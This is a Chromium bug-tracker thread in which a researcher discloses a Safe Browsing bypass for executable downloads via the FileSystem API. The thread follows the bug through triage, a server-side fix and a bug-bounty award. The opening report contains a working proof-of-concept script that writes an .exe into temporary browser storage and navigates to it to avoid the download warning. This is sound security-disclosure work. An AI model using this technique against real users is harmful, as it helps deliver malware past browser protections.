New issue
Advanced search Search tips
Note: Color blocks (like or ) mean that a user may not be available. Tooltip shows the reason.
Starred by 2 users

Issue metadata

Status: Fixed
Owner:
Closed: Jan 2015
Cc:
Components:
EstimatedDays: ----
NextAction: ----
OS: All
Pri: 1
Type: Bug-Security
Nag

Blocked on:
issue 269157



Sign in to add a comment
link

Issue 380663: Security: Safe Browsing for Executable Files can be bypassed by using the FileSystem API

Reported by vitt...@gmail.com, Jun 4 2014

Issue description

VULNERABILITY DETAILS
Safe Browsing for Executable Files can be bypassed by using the FileSystem API, by creating the .exe file to be downloaded in a temporary filesystem, and then navigating to it. A server-side PHP script in this case builds the javascript byte array, but other techniques could be used here (eg. an XMLHttpRequest returning a Blob.)
You must not be in Incognito mode for this to work.

VERSION
Chrome Version: 35.0.1916.114 m + stable
Operating System: Windows XP Home Edition Service Pack 3

REPRODUCTION CASE
Test case available at https://server2.vittgam.net/testerone123/exedlvuln/vuln.php

<script>
(function(){
	var errorize=function(e){console.log(e);};
	var filename='msghello-bypass.exe';
	var blob=new Blob([new Uint8Array(<?php echo str_replace(',',', ',json_encode(array_map('ord',str_split(file_get_contents('msghello.exe'))))); ?>)],{type:'application/octet-stream'});
	window.webkitRequestFileSystem(window.TEMPORARY,1048576,function(fs){
		var createFile=function(){
			fs.root.getFile(filename,{create:true,exclusive:true},function(fileEntry){
				fileEntry.createWriter(function(writer){
					writer.onwriteend=function(){
						window.location.href=fileEntry.toURL();
					};
					writer.onerror=errorize;
					writer.write(blob);
				},errorize);
			},errorize);
		};
		fs.root.getFile(filename,{create:false},function(fileEntry){
			fileEntry.remove(createFile,errorize);
		},createFile);
	},errorize);
})();
</script>
 

Comment 1 by vitt...@gmail.com, Jun 4 2014

I forgot to say, the expected behaviour for the FileSystem API download (as well as the current behaviour for the direct link to the .exe file) is to block the download because "file.exe is not commonly downloaded and could be dangerous."

Comment 2 by palmer@google.com, Jun 4 2014

Cc: noelutz@chromium.org
Labels: Cr-UI-Browser-Downloads Cr-UI-Browser-SafeBrowsing Security_Impact-Stable Security_Impact-Beta OS-All Pri-1 Security_Severity-Medium Cr-Blink-Storage-FileSystem
Owner: asanka@chromium.org
Status: Assigned
Thanks for your report!

Do we know if this would work for known-malicious files as well as "not commonly downloaded" ones? I assume so, but don't know for sure. (I don't have a Windows machine or a piece of malware handy at the moment.)

asanka, can you take this or find someone who can?

Comment 3 by ericu@chromium.org, Jun 6 2014

We should be treating filesystem:http(s) URLs the same as we'd treat http(s) urls in the same origin.  We're probably just missing a scheme somewhere in the Safe Browsing code.

Comment 4 by asanka@chromium.org, Jun 6 2014

Blockedon: chromium:269157
This isn't an issue with filesystem URLs in general. The SafeBrowsing ping that resulted from the filesystem URL ended up receiving a HTTP 400 response.

Not all filesystem URLs trigger this issue. I'm trying to follow up with the SafeBrowsing team on why the server is rejecting this specific ping.

The SB failure shouldn't result in the download being considered safe. That's  issue 269157 .

Comment 5 by palmer@chromium.org, Jun 6 2014

Cc: bryner@chromium.org

Comment 6 by vitt...@gmail.com, Jun 7 2014

If you need an HTTP test page it is at http://testerone123.server2.vittgam.net/exedlvuln/vuln.php

Maybe the problem is that filesystem:https goes 400 but filesystem:http does not?

(I haven't access to a Windows machine now to test this theory...)

Comment 7 by asanka@chromium.org, Jun 10 2014

Cc: mattm@chromium.org

Comment 8 by ClusterFuzz, Jun 19 2014

Project Member
Labels: Nag
asanka@: Uh oh! This issue is still open and hasn't been updated in the last 7 days. Since this is a serious security vulnerability, we want to make sure progress is happening. Can you update the bug with current status, and what, if anything, is blocking?

If you are not the right Owner for this bug, please find someone else to own it as soon as possible and remove yourself as Owner.

If the issue is already fixed or you are to unable to reproduce it, please close the bug. (And thanks for fixing the bug!).

These nags can be disabled by adding a 'WIP' label and an optional codereview link.

- Your friendly ClusterFuzz

Comment 9 by asanka@chromium.org, Jun 19 2014

Labels: WIP
This is being followed up with the SafeBrowsing folks.

Comment 10 by timwillis@chromium.org, Jun 24 2014

Cc: timwillis@chromium.org
Hey Asanka - any progress with SafeBrowsing? Is there any more context in addition to that on the blocking  Issue 269157 ?

Comment 11 by asanka@chromium.org, Jun 25 2014

#10: b/14389394

Comment 12 by timwillis@chromium.org, Jun 25 2014

Thanks Asanka!

Comment 13 by mbarbe...@chromium.org, Jul 11 2014

Labels: M-37

Comment 14 by ClusterFuzz, Jul 28 2014

Project Member
Labels: -Security_Impact-Beta

Comment 15 by ClusterFuzz, Jul 29 2014

Project Member
Labels: Security_Impact-Beta

Comment 16 by ClusterFuzz, Jul 29 2014

Project Member
Labels: -Security_Impact-Beta

Comment 17 by ClusterFuzz, Jul 29 2014

Project Member
Labels: Security_Impact-Beta

Comment 18 by ClusterFuzz, Jul 29 2014

Project Member
Labels: -Security_Impact-Beta

Comment 19 by ClusterFuzz, Jul 30 2014

Project Member
Labels: -Security_Impact-Stable Security_Impact-Beta

Comment 20 by infe...@chromium.org, Aug 1 2014

Labels: -Security_Impact-Beta Security_Impact-Stable

Comment 21 by cbentzel@chromium.org, Sep 24 2014

asanka: What's the progress of this bug? Hasn't been updated in a while.

Comment 22 by asanka@chromium.org, Sep 24 2014

Since  issue 269157  was resolved, the HTTP 400 error from SB now results in the old dangerous file download warning rather than no warning at all. This is slightly better, but not quite there yet.

Comment 23 by ClusterFuzz, Sep 29 2014

Project Member
Labels: -M-37 M-38

Comment 24 by ClusterFuzz, Nov 8 2014

Project Member
Labels: -M-38 M-39

Comment 25 by lgar...@chromium.org, Nov 20 2014

Both buttons in the demo give the same warning now.
Screenshot from 2014-11-19 17:27:06.png
152 KB View Download

Comment 26 by infe...@chromium.org, Jan 7 2015

Cc: lgar...@chromium.org f...@chromium.org
Labels: -WIP
What is the status on this ? Please add WIP label back if you are actively looking into this.

Comment 27 by infe...@chromium.org, Jan 7 2015

Labels: -M-39 M-40
No more M39 patches, moving to M40.

Comment 28 by ClusterFuzz, Jan 7 2015

Project Member
asanka@: Uh oh! This issue is still open and hasn't been updated in the last 48 days. Since this is a serious security vulnerability, we want to make sure progress is happening. Can you update the bug with current status, and what, if anything, is blocking?

If you are not the right Owner for this bug, please find someone else to own it as soon as possible and remove yourself as Owner.

If the issue is already fixed or you are to unable to reproduce it, please close the bug. (And thanks for fixing the bug!).

These nags can be disabled by adding a 'WIP' label and an optional codereview link.

- Your friendly ClusterFuzz

Comment 29 by asanka@chromium.org, Jan 7 2015

Status: Fixed
This has been resolved server side.

Comment 30 by ClusterFuzz, Jan 7 2015

Project Member
Labels: -Restrict-View-SecurityTeam Merge-Triage M-39 M-41 Restrict-View-SecurityNotify
Adding Merge-Triage label for tracking purposes.

Once your fix had sufficient bake time (on canary, dev as appropriate), please nominate your fix for merge by adding the Merge-Requested label.

When your merge is approved by the release manager, please start merging with higher milestone label first. Make sure to re-request merge for every milestone in the label list. You can get branch information on omahaproxy.appspot.com.

Your fix is very close to the branch point. After the branch happens, please make sure to check if your fix is in.

- Your friendly ClusterFuzz

Comment 31 by asanka@chromium.org, Jan 7 2015

Labels: -Merge-Triage
No merge necessary. The blocker  issue 269157  was fixed prior to M-39.

Comment 32 by infe...@chromium.org, Jan 25 2015

Labels: reward-topanel

Comment 33 by timwillis@google.com, Feb 26 2015

Labels: Release-0-M39 Merge-NA

Comment 34 by timwillis@google.com, Apr 14 2015

Labels: -reward-topanel reward-unpaid CVE-2015-1248 reward-500
After a long wait, we finally got this one through our reward panel and decided to award you $500 for your report.

Someone from our finance area should be in contact in two weeks to collect payment details. Please contact me directly if this doesn't happen.

We'll credit you in our release notes as "vittgam" (note that although this was fixed in an earlier release, we'll put this in with our M42 release notes). Please let me know if you'd like to use another name or handle.

Cheers,
Tim


*** Boilerplate reminders! ***
Please do NOT publicly disclose details until a fix has been released to all our users. Early public disclosure may cancel the provisional reward. Also, please be considerate about disclosure when the bug affects a core library that may be used by other products. Please do NOT share this information with third parties who are not directly involved in fixing the bug. Doing so may cancel the provisional reward. Please be honest if you have already disclosed anything publicly or to third parties. Lastly, we understand that some of you are not interested in money. We offer the option to donate your reward to an established charity. If you prefer this option, let us know and we will also match your donation - subject to our discretion. Any rewards that are unclaimed after 12 months will be donated to a charity of our choosing.
*********************************

Comment 35 by vitt...@gmail.com, Apr 14 2015

Hello Tim,

Many thanks for the reward! It's really appreciated. :)

I'd like to be credited as "Vittorio Gambaletta (VittGam)", if possible.

Thanks again!

Cheers,
Vittorio G

Comment 36 by timwillis@google.com, Apr 14 2015

All done - we'll credit you as "Vittorio Gambaletta (VittGam)" in our release notes. Thanks again!

Comment 37 by ClusterFuzz, Apr 15 2015

Project Member
Labels: -Restrict-View-SecurityNotify
Bulk update: removing view restriction from closed bugs.

Comment 38 Deleted

Comment 39 by timwillis@google.com, May 6 2015

Labels: -reward-unpaid reward-inprocess

Comment 40 by vitt...@gmail.com, May 7 2015

Hello Tim,

I was not contacted by anyone regarding this matter. And I cannot either contact you directly, since your email address is not fully readable as per https://code.google.com/p/support/issues/detail?id=34126 .

What should I do?


Best,
Vittorio G

Comment 41 by timwillis@google.com, May 7 2015

Hey Vittorio,

If you haven't heard anything in 24 hours, email me at timwillis@

Thanks,
Tim

Comment 42 by timwillis@google.com, Jun 25 2015

Labels: -reward-inprocess
Processing via our e-payment system can take up to two weeks, but the reward should be on its way to you. Thanks again for your help!

Comment 43 by timwillis@google.com, Jul 24 2015

Note: sorry for the delay in payment here - it turns out in the new payment system, these payments were waiting for a second approval from me. I've just approved, so it should be 1-2 weeks from today to receive payment.

Comment 44 by sheriffbot@chromium.org, Oct 1 2016

Project Member
This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 45 by sheriffbot@chromium.org, Oct 2 2016

Project Member
This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 46 by mbarbe...@chromium.org, Oct 2 2016

Labels: allpublic

Comment 47 by awhalley@chromium.org, Apr 25 2018

Labels: CVE_description-submitted

Sign in to add a comment